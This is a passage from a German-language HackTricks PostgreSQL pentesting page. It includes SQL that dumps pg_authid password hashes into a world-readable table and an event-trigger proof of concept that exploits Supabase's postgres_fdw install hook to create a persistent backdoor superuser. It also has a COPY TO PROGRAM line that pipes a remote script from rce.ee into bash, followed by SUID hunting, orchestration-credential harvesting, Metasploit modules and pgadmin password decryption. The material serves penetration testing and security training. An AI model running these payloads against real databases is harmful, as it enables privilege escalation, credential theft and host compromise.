```sql DROP TABLE IF EXISTS public.ai_models CASCADE; CREATE TABLE public.ai_models ( id SERIAL PRIMARY KEY, model_name TEXT, config JSONB, created_at TIMESTAMP DEFAULT NOW() ); GRANT ALL ON public.ai_models TO supabase_read_only_user; GRANT ALL ON public.ai_models TO supabase_admin; INSERT INTO public.ai_models (model_name, config) SELECT rolname, jsonb_build_object( 'password_hash', rolpassword, 'is_superuser', rolsuper, 'can_login', rolcanlogin, 'valid_until', rolvaliduntil ) FROM pg_catalog.pg_authid; ```Benutzer mit geringen Rechten können jetzt public.ai_models lesen, um SCRAM-Hashes und Rollen-Metadaten für offline cracking oder lateral movement zu erhalten.
Event-trigger privesc während der Installation der postgres_fdw-Extension
Managed Supabase deployments verlassen sich auf die supautils-Extension, um CREATE EXTENSION mit provider-eigenen before-create.sql/after-create.sql-Skripten zu umschließen, die als echte Superuser ausgeführt werden. Das postgres_fdw after-create-Skript führt kurzzeitig ALTER ROLE postgres SUPERUSER aus, führt ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres aus und setzt postgres dann wieder auf NOSUPERUSER zurück. Weil ALTER FOREIGN DATA WRAPPER die ddl_command_start/ddl_command_end Event-Trigger auslöst, während current_user Superuser ist, können tenant-erstellte Trigger in diesem Zeitfenster Angreifer-SQL ausführen.
Exploit flow:
- Create a PL/pgSQL event trigger function that checks
SELECT usesuper FROM pg_user WHERE usename = current_userand, when true, provisions a backdoor role (e.g.,CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123'). - Register the function on both
ddl_command_startandddl_command_end. DROP EXTENSION IF EXISTS postgres_fdw CASCADE;followed byCREATE EXTENSION postgres_fdw;to re-run Supabase’s after-create hook.- When the hook elevates
postgres, the trigger executes, creates the persistent SUPERUSER role, and grants it back topostgresfor easySET ROLEaccess.
Event trigger PoC for the postgres_fdw after-create window
```sql CREATE OR REPLACE FUNCTION escalate_priv() RETURNS event_trigger AS $$ DECLARE is_super BOOLEAN; BEGIN SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user; IF is_super THEN BEGIN EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123'''; EXCEPTION WHEN duplicate_object THEN NULL; END; BEGIN EXECUTE 'GRANT priv_esc TO postgres'; EXCEPTION WHEN OTHERS THEN NULL; END; END IF; END; $$ LANGUAGE plpgsql;DROP EVENT TRIGGER IF EXISTS log_start CASCADE; DROP EVENT TRIGGER IF EXISTS log_end CASCADE; CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv(); CREATE EVENT TRIGGER log_end ON ddl_command_end EXECUTE FUNCTION escalate_priv();
DROP EXTENSION IF EXISTS postgres_fdw CASCADE; CREATE EXTENSION postgres_fdw;
</details>
Supabase’s Versuch, unsafe triggers zu überspringen, prüft nur die Eigentümerschaft, stelle also sicher, dass der Owner der Triggerfunktion deine niedrigprivilegierte Rolle ist, aber die Nutzlast wird nur ausgeführt, wenn der Hook `current_user` in SUPERUSER umschaltet. Da der Trigger bei zukünftigen DDL erneut läuft, dient er außerdem als selbstheilender Persistenz-Backdoor, wann immer der Provider die Tenant-Rollen kurzzeitig erhöht.
### Temporären SUPERUSER-Zugriff in Host-Kompromittierung umwandeln
Nachdem `SET ROLE priv_esc;` erfolgreich war, führe die zuvor blockierten Primitives erneut aus:
```sql
INSERT INTO public.ai_models(model_name, config)
VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100)));
COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';
pg_read_file/COPY ... TO PROGRAM bieten jetzt beliebigen Dateizugriff und Befehlsausführung als das Betriebssystemkonto der Datenbank. Anschließend mit der üblichen host privilege escalation fortfahren:
find / -perm -4000 -type f 2>/dev/null
Das Ausnutzen eines falsch konfigurierten SUID-Binaries oder einer beschreibbaren Konfigurationsdatei verschafft root. Sobald root erreicht ist, sammle Orchestrierungs-Anmeldeinformationen (systemd unit env files, /etc/supabase, kubeconfigs, agent tokens), um lateral in der Region des Providers zu pivotieren.
POST
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
Protokollierung
In der Datei postgresql.conf können Sie die postgresql-Protokollierung aktivieren, indem Sie Folgendes ändern:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
Dann starten Sie den Service neu.
pgadmin
pgadmin ist eine Administrations- und Entwicklungsplattform für PostgreSQL.
Sie finden Passwörter in der Datei pgadmin4.db
Sie können diese mit der decrypt-Funktion im Skript entschlüsseln: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
Die Client-Authentifizierung in PostgreSQL wird über eine Konfigurationsdatei namens pg_hba.conf gesteuert. Die Datei enthält eine Reihe von Einträgen, die jeweils einen Verbindungstyp, einen Client-IP-Adressbereich (falls zutreffend), den Datenbanknamen, den Benutzernamen und die für den Abgleich zu verwendende Authentifizierungsmethode angeben. Der erste Eintrag, der Verbindungstyp, Client-Adresse, angeforderte Datenbank und Benutzername erfüllt, wird zur Authentifizierung verwendet. Es gibt kein Fallback oder Backup, wenn die Authentifizierung fehlschlägt. Wenn kein Eintrag passt, wird der Zugriff verweigert.
Die verfügbaren passwortbasierten Authentifizierungsmethoden in pg_hba.conf sind md5, crypt, und password. Diese Methoden unterscheiden sich darin, wie das Passwort übertragen wird: als MD5-Hash, per crypt verschlüsselt oder im Klartext. Wichtig: Die crypt-Methode kann nicht mit Passwörtern verwendet werden, die in pg_authid verschlüsselt wurden.
Local Linux enumeration
Bei Shell-Zugang geht es bei PostgreSQL oft um auth policy, socket access, und credential artifacts statt um direkte TCP-Exposition.
Wichtige Pfade und Dateien:
find /etc/postgresql -maxdepth 4 -type f \( -name "postgresql.conf" -o -name "pg_hba.conf" \) 2>/dev/null
ls -l /var/run/postgresql/.s.PGSQL.5432 ~/.pgpass 2>/dev/null
Wichtige Einstellungen und deren Bedeutung:
listen_addressessteuert, an welche Schnittstellen sich PostgreSQL bindet ('*'bedeutet alle)peerordnet den lokalen OS user einer DB-Rolle auf UNIX-Sockets zutrusterlaubt passwortlosen Zugriff für übereinstimmende Regeln
Schnelle Überprüfungen:
rg -n "^(host|local)|trust|peer|md5|scram|password|ssl" /etc/postgresql 2>/dev/null
sudo -u postgres psql -c 'SHOW hba_file; SHOW config_file;' 2>/dev/null
sudo -u postgres psql -c '\du' 2>/dev/null
Worauf achten:
trustEinträge außerhalb eines Lab-/Dev-Kontexts- zu großzügige
peer-Mappings, die OS-Zugriff in DB-Admin-Rechte umwandeln - schwache Berechtigungen auf
~/.pgpass - Rollen mit
SUPERUSER,CREATEDB,REPLICATIONoderBYPASSRLS
Referenzen
- SupaPwn: Hacking Our Way into Lovable’s Office and Helping Secure Supabase
- HTB: DarkCorp by 0xdf
- PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM
- Postgres SQL injection to RCE with archive_command (The Gray Area)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


